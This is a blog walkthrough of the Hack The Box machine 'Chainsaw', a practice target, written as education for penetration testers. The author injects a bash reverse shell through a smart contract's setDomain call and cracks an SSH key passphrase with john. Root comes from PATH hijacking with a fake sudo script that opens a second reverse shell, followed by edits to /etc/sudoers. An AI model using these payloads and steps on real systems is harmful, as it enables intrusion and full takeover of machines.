Hackthebox – Chainsaw

As with any box, we start with a 3 portscans, UDP, TCP -A and a full tcp scan on all ports.

root@kalivm:~/Chainsaw# nmap -sT -p 1-65535 -oN fullscan_tcp 10.10.10.142 
Nmap scan report for 10.10.10.142
Host is up (0.015s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
9810/tcp open  unknown

# Nmap done at Sun Sep  1 06:45:44 2019 -- 1 IP address (1 host up) scanned in 654.80 seconds

The full TCP Scan reveals one more port than the -A scan, port 9810, however at this point, I do not yet know what to do with that. Lets first focus on the FTP server.

root@kalivm:~/Chainsaw# ncftp 10.10.10.142
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.10.10.142...                                                                                                        
(vsFTPd 3.0.3)
Logging in...                                                                                                                        
Login successful.
Logged in to 10.10.10.142.                                                                                                           
ncftp / > ls
address.txt           WeaponizedPing.json   WeaponizedPing.sol
ncftp / > get *
WeaponizedPing.json:                                    23.27 kB  563.92 kB/s  
WeaponizedPing.sol:                                    243.00 B   15.61 kB/s  
address.txt:                                            44.00 B    2.94 kB/s  

So we saved all files and now started to analyze them first. The WeaponizedPing.sol file first

root@kalivm:~/Chainsaw# cat WeaponizedPing.sol 
pragma solidity ^0.4.24;

contract WeaponizedPing 
{
  string store = "google.com";

  function getDomain() public view returns (string) 
  {
      return store;
  }

  function setDomain(string _value) public 
  {
      store = _value;
  }
}

Researching just the first line of this file led me to this solidity page that explains it is a ‘Smart Contract’ for Ethereum transactions. As I did not have a clue what that was, I asked around and got some very useful links including this video series from Dapp university on web3.js. Using the links and documents, researching it for about half a day I was finally able to understand a bit more about how to use the smart contract provided. In addition, this link from stackexchange provided me with a simple way to actually use the provided smart contract file. The first step was to use web3.js to actually connect to the API provided on port 9810.

root@kalivm:~/chainsaw# node
> var Web3 = require('web3')
undefined
> var chainsaw = new Web3('http://10.10.10.142:9810')
undefined

The next step, is to use the address provided in the address.txt file on the ftp server, and the smart contract, to actually connect to the contract.

> var contractAddress = '0x97e73f337D8131Cf0FD23418ffa3FEa0081F5F20' 
undefined
> var fs = require('fs');
undefined
> var jsonFile = "WeaponizedPing.json"
undefined
> var parsed= JSON.parse(fs.readFileSync(jsonFile));
undefined
> var abi = parsed.abi;
undefined
> var contract = new chainsaw.eth.Contract(abi, contractAddress)
undefined

Now that this is done, it is time to verify if all commands were successful and see we can get the contract Methods and use them.

> contract.methods
{ getDomain: [Function: bound _createTxObject],
  '0xb68d1809': [Function: bound _createTxObject],
  'getDomain()': [Function: bound _createTxObject],
  setDomain: [Function: bound _createTxObject],
  '0xe5eab096': [Function: bound _createTxObject],
  'setDomain(string)': [Function: bound _createTxObject] }
>  contract.methods.getDomain().call((err, result) => {console.log(result)})
Promise {
  <pending>,
  domain:
   Domain {
     domain: null,
     _events:
      [Object: null prototype] {
        removeListener: [Function: updateExceptionCapture],
        newListener: [Function: updateExceptionCapture],
        error: [Function: debugDomainError] },
     _eventsCount: 3,
     _maxListeners: undefined,
     members: [] } }
> google.com

Ok, so that worked, now off to understanding how the setDomain function works. During all trial and error, something interesting came along which was most likely caused by someone else targetting the same box, but it immediately gave me a hint about the next step.

> contract.methods.getDomain().call((err, result) => {console.log(result)})
Promise {
  <pending>,
  domain:
   Domain {
     domain: null,
     _events:
      [Object: null prototype] {
        removeListener: [Function: updateExceptionCapture],
        newListener: [Function: updateExceptionCapture],
        error: [Function: debugDomainError] },
     _eventsCount: 3,
     _maxListeners: undefined,
     members: [] } }
> $(bash -c "bash -i >& /dev/tcp/10.10.12.143/443 0>&1")

This actually caused me a lot of frustration as I completely missed the part that you have to use the .send() request and, in addition, that you have to specify from which account the ‘gas’ is taken to execute the command. So first, we have to see which accounts are present.

> chainsaw.eth.getAccounts(console.log)
Promise {
  <pending>,
  domain:
   Domain {
     domain: null,
     _events:
      [Object: null prototype] {
        removeListener: [Function: updateExceptionCapture],
        newListener: [Function: updateExceptionCapture],
        error: [Function: debugDomainError] },
     _eventsCount: 3,
     _maxListeners: undefined,
     members: [] } }
> null [ '0xC26Ce1d0582915Cc0bb230A75608B3e6A386c1cd',
  '0x89E8663ceD78BA5080E729FA9812567a98821995',
  '0x90B2EDDc5B5E4C94bf6358A178553F9DE0e5A6C3',
  '0x0e23719a6f1514Df7403583c442E9a6AD5345a8D',
  '0x80f5fAB3B6b6ad7BC5EdaaB1075A388Ea8D92CF1',
  '0x96e84708FC905636dA46aD4271E280764d06BA2d',
  '0x5062Ec0d710ce4EfEf3A133a8685973a7624372F',
  '0xcdc6dd1f341280aB04ec33Fc243B838186b4A96c',
  '0x1ABfCB18be202B4437632df07aCAA2DA66f451A9',
  '0x371DA80336e8b882baEa9098a7A63e2A818d624F' ]

So that returns an array of account addresses. The next step is to use one of the accounts from this array and set the address into the defaultAccount variable. (Ok, thats not entirely needed, you can just copy/paste one of the addresses and put that as a from: address too!). Once the defaultAccount is set, call the setDomain() function again and, don’t forget to set the from account in the send() request!

> chainsaw.eth.getAccounts().then(e => defaultAccount = e[0]);
undefined
> contract.methods.setDomain('$(bash -c "bash -i >& /dev/tcp/10.10.12.145/443 0>&1")').send({from: defaultAccount})
Promise {
  <pending>,
  domain:
   Domain {
     domain: null,
     _events:
      [Object: null prototype] {
        removeListener: [Function: updateExceptionCapture],
        newListener: [Function: updateExceptionCapture],
        error: [Function: debugDomainError] },
     _eventsCount: 3,
     _maxListeners: undefined,
     members: [] },
  _events: {},
  emit: [Function: emit],
  on: [Function: on],
  once: [Function: once],
  off: [Function: removeListener],
  listeners: [Function: listeners],
  addListener: [Function: on],
  removeListener: [Function: removeListener],
  removeAllListeners: [Function: removeAllListeners] }

And in the other terminal we started a listener on port 443 so I would be able to catch that request!

root@kalivm:~/chainsaw# nc -nlvp 443
Listening on [0.0.0.0] (family 2, port 443)
Listening on 0.0.0.0 443
Connection received on 10.10.10.142 37228
bash: cannot set terminal process group (1442): Inappropriate ioctl for device
bash: no job control in this shell
administrator@chainsaw:/opt/WeaponizedPing$

Yes! a shell, finally! But knowing that I was a bit too often caught in pressing CTRL-C, I decided to create an ssh-key for chainsaw and copy that for SSH access! So I first created the .ssh directory and then copied my newly created public key into the authorized_keys file.

administrator@chainsaw:/home/administrator/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxMRX03dFPCH51ep8O3lXxH1FxjbqAh9E2x7vMQ4j
t90avTCSzUlqUiKVUaAffD5Tro7hADhf09BPaAE6Lfek/48HIF+fIGlaWHzaGc466o05+9j
P6y0Llfq4+/5GI6d890jluWkhNArgSSXdfHMbEzy8Xc5og9FUDJq/5z119R2itmtLTKQw56
FUo5PS5hVTmrcodqhcZ0y6s08AmhVUJPbYBEBW/gxBmCe7gffmI3wlHd9BZ1z3JnbQfR8ZS
Bo48mIxMK1LNV8D604fVC47nuc3Y96FW8WF4PYUbk2YUbpZvl1fBja20ASxLExduoQtZ9bU
6Cu996Nfi34HLlyx7ofyJIWouDy2u9+BZ3TNlEPHFxNxqVVTh42TSAH1dSTmI0Yd7UJXosD
2jM/tf7xU4HetG6sRNEuVQED7f6PLvKpu4fTb3Kf58IGUG1NgqU8XRcCjif/ge98qRYx1XS
ZqtaAzqANmcDVrWmzQ5fHAkR9Mh7/DM5qJ+wC/hBSn1iU= root@kalivm' > authorized_keys

root@kalivm:~/Chainsaw# ssh -i ftp/chainsaw administrator@10.10.10.142
administrator@chainsaw:~$ 

So now I can finally browse around as if it I am a normal user and do the things I would normally do! After some looking around, we find a CSV file, a maintain directory a gen.py script and some public keys.

administrator@chainsaw:~$ cat chainsaw-emp.csv 
Employees,Active,Position
arti@chainsaw,No,Network Engineer
bryan@chainsaw,No,Java Developer
bobby@chainsaw,Yes,Smart Contract Auditor
lara@chainsaw,No,Social Media Manager
wendy@chainsaw,No,Mobile Application Developer

So there are several users and also, corresponding public keys are there. Lets now take a look at the python script.

administrator@chainsaw:~$ cat maintain/gen.py 
#!/usr/bin/python
from Crypto.PublicKey import RSA
from os import chmod
import getpass

def generate(username,password):
	key = RSA.generate(2048)
	pubkey = key.publickey()

	pub = pubkey.exportKey('OpenSSH')
	priv = key.exportKey('PEM',password,pkcs=1)

	filename = "{}.key".format(username)

	with open(filename, 'w') as file:
		chmod(filename, 0600)
		file.write(priv)
		file.close()

	with open("{}.pub".format(filename), 'w') as file:
		file.write(pub)
		file.close()

	# TODO: Distribute keys via ProtonMail

if __name__ == "__main__":
	while True:
		username = raw_input("User: ")
		password = getpass.getpass()
		generate(username,password)

Apparently the private keys are sent through ProtonMail. At this point, I started to search through the machine and find a lot of stuff, but still could not make much sense of it. After looking through the HTB forums, I found that I had to researching a ‘out of world 4 letter thing’, which appeared to refer to the Inter Planetary File System or IPFS. I found an .ipfs directory containing files which appeared as long hashes but still, after many tries, I was unable to actually use it so I went to discord for a nudge and was told to just ‘grep for bobby’ so I did.

administrator@chainsaw:~$ grep -r bobby ./ 
./chainsaw-emp.csv:bobby@chainsaw,Yes,Smart Contract Auditor
Binary file ./.ipfs/blocks/SG/CIQBGBBWXJ4N54A5BUNC7WYVUQNXLEQN67SNFTAPGUMYTYB2UAC4SGI.data matches
Binary file ./.ipfs/blocks/JL/CIQKWHQP7PFXWUXO6CSIFQMFWW4CTR23WJEFINRLPRC6UAP2ZM5EJLY.data matches
./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data:To: bobbyaxelrod600@protonmail.ch 
./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data:X-Attached: bobby.key.enc
./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data:X-Original-To: bobbyaxelrod600@protonmail.ch
./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data:Delivered-To: bobbyaxelrod600@protonmail.ch
./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data:Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"
./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data:Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc"
./.ipfs/blocks/SP/CIQJWFQFWYW5QEXAELBZ5WBEDCJBZ2RSPCHVGDOXQ6FM67VBWKVTSPI.data:bobby@chainsaw,Yes,Java Developer

From what it appears, this looks like the header of an e-mail message with the private key file attached to it. Time to take a closer look at them with cat.

administrator@chainsaw:~$ cat ./.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data

��$X-Pm-Origin: internal
X-Pm-Content-Encryption: end-to-end
Subject: Ubuntu Server Private RSA Key
From: IT Department 
Date: Thu, 13 Dec 2018 19:28:54 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------d296272d7cb599bff2a1ddf6d6374d93
To: bobbyaxelrod600@protonmail.ch 
X-Attached: bobby.key.enc
Message-Id: 
Received: from mail.protonmail.ch by mail.protonmail.ch; Thu, 13 Dec 2018 14:28:58 -0500
X-Original-To: bobbyaxelrod600@protonmail.ch
Return-Path: 
Delivered-To: bobbyaxelrod600@protonmail.ch

-----------------------d296272d7cb599bff2a1ddf6d6374d93
Content-Type: multipart/related;boundary=---------------------ffced83f318ffbd54e80374f045d2451

-----------------------ffced83f318ffbd54e80374f045d2451
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

PGRpdj5Cb2JieSw8YnI+PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj5JIGFtIHdyaXRpbmcgdGhp
cyBlbWFpbCBpbiByZWZlcmVuY2UgdG8gdGhlIG1ldGhvZCBvbiBob3cgd2UgYWNjZXNzIG91ciBM
aW51eCBzZXJ2ZXIgZnJvbSBub3cgb24uIER1ZSB0byBzZWN1cml0eSByZWFzb25zLCB3ZSBoYXZl
IGRpc2FibGVkIFNTSCBwYXNzd29yZCBhdXRoZW50aWNhdGlvbiBhbmQgaW5zdGVhZCB3ZSB3aWxs
IHVzZSBwcml2YXRlL3B1YmxpYyBrZXkgcGFpcnMgdG8gc2VjdXJlbHkgYW5kIGNvbnZlbmllbnRs
eSBhY2Nlc3MgdGhlIG1hY2hpbmUuPGJyPjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+QXR0YWNo
ZWQgeW91IHdpbGwgZmluZCB5b3VyIHBlcnNvbmFsIGVuY3J5cHRlZCBwcml2YXRlIGtleS4gUGxl
YXNlIGFzayZuYnNwO3JlY2VwdGlvbiBkZXNrIGZvciB5b3VyIHBhc3N3b3JkLCB0aGVyZWZvcmUg
YmUgc3VyZSB0byBicmluZyB5b3VyIHZhbGlkIElEIGFzIGFsd2F5cy48YnI+PC9kaXY+PGRpdj48
YnI+PC9kaXY+PGRpdj5TaW5jZXJlbHksPGJyPjwvZGl2PjxkaXY+SVQgQWRtaW5pc3RyYXRpb24g
RGVwYXJ0bWVudDxicj48L2Rpdj4=
-----------------------ffced83f318ffbd54e80374f045d2451--
-----------------------d296272d7cb599bff2a1ddf6d6374d93
Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc"

LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF
Sy1JbmZvOiBERVMtRURFMy1DQkMsNTNEODgxRjI5OUJBODUwMwoKU2VDTll3L0JzWFB5UXExSFJM
RUVLaGlOSVZmdFphZ3pPY2M2NGZmMUlwSm85SWVHN1ovemordjFkQ0lkZWp1awo3a3RRRmN6VGx0
dG5ySWo2bWRCYjZybk42Q3NQMHZiejlOelJCeWcxbzZjU0dkckwyRW1KTi9lU3hENEFXTGN6Cm4z
MkZQWTBWamxJVnJoNHJqaFJlMndQTm9nQWNpQ0htWkdFQjB0Z3YyL2V5eEU2M1ZjUnpyeEpDWWwr
---snip---

Yep, a plain-text e-mail message containing a message, and apparently the key as mentioned in the script! First we have to reconstruct the key into a file.

root@kalivm:~/Chainsaw# echo "LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF
> Sy1JbmZvOiBERVMtRURFMy1DQkMsNTNEODgxRjI5OUJBODUwMwoKU2VDTll3L0JzWFB5UXExSFJMR
> UVLaGlOSVZmdFphZ3pPY2M2NGZmMUlwSm85SWVHN1ovemordjFkQ0lkZWp1awo3a3RRRmN6VGx0" | base64 -d > bobby.priv

But there was another part of the message, so lets try to decode that too.

root@kalivm:~/Chainsaw# echo "PGRpdj5Cb2JieSw8YnI+PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj5JIGFtIHdyaXRpbmcgdGhp
> cyBlbWFpbCBpbiByZWZlcmVuY2UgdG8gdGhlIG1ldGhvZCBvbiBob3cgd2UgYWNjZXNzIG91ciBM
> aW51eCBzZXJ2ZXIgZnJvbSBub3cgb24uIER1ZSB0byBzZWN1cml0eSByZWFzb25zLCB3ZSBoYXZl
> IGRpc2FibGVkIFNTSCBwYXNzd29yZCBhdXRoZW50aWNhdGlvbiBhbmQgaW5zdGVhZCB3ZSB3aWxs
> IHVzZSBwcml2YXRlL3B1YmxpYyBrZXkgcGFpcnMgdG8gc2VjdXJlbHkgYW5kIGNvbnZlbmllbnRs
> eSBhY2Nlc3MgdGhlIG1hY2hpbmUuPGJyPjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+QXR0YWNo
> ZWQgeW91IHdpbGwgZmluZCB5b3VyIHBlcnNvbmFsIGVuY3J5cHRlZCBwcml2YXRlIGtleS4gUGxl
> YXNlIGFzayZuYnNwO3JlY2VwdGlvbiBkZXNrIGZvciB5b3VyIHBhc3N3b3JkLCB0aGVyZWZvcmUg
> YmUgc3VyZSB0byBicmluZyB5b3VyIHZhbGlkIElEIGFzIGFsd2F5cy48YnI+PC9kaXY+PGRpdj48
> YnI+PC9kaXY+PGRpdj5TaW5jZXJlbHksPGJyPjwvZGl2PjxkaXY+SVQgQWRtaW5pc3RyYXRpb24g
> RGVwYXJ0bWVudDxicj48L2Rpdj4=" |base64 -d
<div>Bobby,<br></div><div><br></div><div>I am writing this email in reference to the method on how we access our Linux server from now on. Due to security reasons, we have disabled SSH password authentication and instead we will use private/public key pairs to securely and conveniently access the machine.<br></div><div><br></div><div>Attached you will find your personal encrypted private key. Please ask reception desk for your password, therefore be sure to bring your valid ID as always.<br></div><div><br></div><div>Sincerely,<br></div><div>IT Administration Department<br></div>

So we have the key, but it is protected with a password. Some research led me to this article which nicely describes how to crack a private SSH key password using ssh2john and john the ripper, so let us give that a try!

root@kalivm:~/Chainsaw# python /usr/share/john/ssh2john.py bobby.priv > bobby.hash
root@kalivm:~/Chainsaw# cat bobby.hash
bobby.priv:$sshng$0$8$53D881F299BA8503$1192$49e08d630fc1b173f242ad4744b1042a188d2157ed6
5a83339c73ae1f7f5229268f48786ed9ff38febf574221d7a3ba4ee4b5015ccd396db67ac88fa99d05beab9
cde82b0fd2f6f3f4dcd1072835a3a71219dacbd8498937f792c43e0058b7339f7d853d8d158e5215ae1e2b8
e145edb03cda2001c8821e6646101d2d82fdbf7b2c44eb755c473af1242625fa1bd267a7efb125fc03842be
eb6dff5f9f3e0f226220bab177561426765126cc3453e26fe9a9fdd3986024f7ec2b8aa9e438315023ed88d
5c3dbf094612d2cf7a720775ffb863939d8a78684abe010676bc4273dc57d7f525fd93b75de8a699b52033a
a2c3df35112f390e4f4d528f2e2f19d9030dec17b3f3e04b89d07a68d5e66062d2b3bc32abaf0f2ea384426
9dc7b2874538a729776e1f39c60354113b3656ef11371c42f
----snip---
4f93fc6df282a1282fa5f6680e4ec01762309b4e62d7cd5ad7d79536d7405dc441540dc8b1362c13a68052e
8c7f108e67037fd59bf4984f04088fb8e0b72a56ddf
root@kalivm:~/Chainsaw# john --wordlist=/usr/share/wordlists/rockyou.txt bobby.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
jackychain       (bobby.priv)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:10 DONE (2019-09-02 16:55) 0.09803g/s 1406Kp/s 1406Kc/s 1406KC/sa6_123..*7¡Vamos!
Session completed

So now that we have the password, we can use it for the private key and ssh into the machine where we can find the user flag!

root@kalivm:~/Chainsaw# ssh -i bobby.priv bobby@10.10.10.142
Enter passphrase for key 'bobby.priv': 
bobby@chainsaw:~$ id
uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)
bobby@chainsaw:~$ ls
projects  resources  user.txt
bobby@chainsaw:~$ cat user.txt 
af8d9df<noflag>300568dc059d432eb

Privilege escalation

So now we have ssh-access to the user Bobby, while looking around in the user’s directory, we find a project called ChainsawClub which looks interesting.

bobby@chainsaw:~/projects/ChainsawClub$ ls -alh 
total 160K
drwxrwxr-x 2 bobby bobby 4.0K Sep  3 07:26 .
drwxrwxr-x 3 bobby bobby 4.0K Dec 20  2018 ..
-rw-r--r-- 1 root  root    44 Sep  3 07:20 address.txt
-rwsr-xr-x 1 root  root   17K Jan 12  2019 ChainsawClub
-rw-r--r-- 1 root  root  124K Jan 23  2019 ChainsawClub.json
-rw-r--r-- 1 root  root  1.2K Jan 23  2019 ChainsawClub.sol

A file with the SUID flag set and root ownership, that proves interesting. Let’s take a look what it does.

bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub 

      _           _
     | |         (_)
  ___| |__   __ _ _ _ __  ___  __ ___      __
 / __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V  V /
 \___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
                                            club

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username:

So you have to sign up first and it asks for a username which we do not have. We can try to crack that, but first I want to investigate what kind of a file it is since it has got the SUID flag set for root. So I analyze it a bit, and with the strings command, I find what I am looking for

bobby@chainsaw:~/projects/ChainsawClub$ strings ChainsawClub
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
sudo -i -u root /root/ChainsawClub/dist/ChainsawClub/ChainsawClub
---snip---

We see that sudo is being called without the full path, but with root permissions. Which means that, when creating our own sudo file and fixing the path, it will be called with root privileges, hence, a root shell!

bobby@chainsaw:~/projects/ChainsawClub$ nano sudo
#!/bin/bash
bash -i &> /dev/tcp/10.10.12.145/9999 0>&1
bobby@chainsaw:~/projects/ChainsawClub$ chmod +x sudo
bobby@chainsaw:~/projects/ChainsawClub$ export PATH=./:$PATH
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub

And in the other terminal, we got a shell! Let’s get the flag!

root@kalivm:~/Chainsaw# nc -nlvp 9999
Listening on [0.0.0.0] (family 2, port 9999)
Listening on 0.0.0.0 9999
Connection received on 10.10.10.142 34538
root@chainsaw:~# cat root.txt 
Mine deeper to get rewarded with root coin (RTC)...

So we’re suggested to ‘mine deeper’ but even after several tries, this terminal proved to be very unstable and I was a bit too often caught in pressing CTRL-C, I decided to give bobby some more powers using sudo.

root@chainsaw:~/# sed -i 's/root/bobby/g' /etc/sudoers
root@chainsaw:~/# sed -i 's/(ALL:ALL)/NOPASSWD:/g' /etc/sudoers

Meanwhile, in the other terminal we can use the new setting

bobby@chainsaw:~/projects/ChainsawClub$ cd ..
bobby@chainsaw:~/projects$ sudo su -
root@chainsaw:~# 

Nice, that worked! After several hours of digging into the ChainsawClub tool, I was still unable to find what I was looking for and decided to ask for another hint. That is where I got the hint to look into the slackspace of the file. After some searching on how to do it, I found this article which nicely describes how to do it using the tool bmap.

root@chainsaw:~# find / -iname root.txt
/root/root.txt
find: ‘/proc/1396/task/1396/net’: Invalid argument
find: ‘/proc/1396/net’: Invalid argument
root@chainsaw:~# bmap --mode slack root.txt 
getting from block 2655304
file size was: 52
slack size: 4044
block size: 4096
68c874b7<noflag>d386cd4c395b06e3

And now we finally found the root flag!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.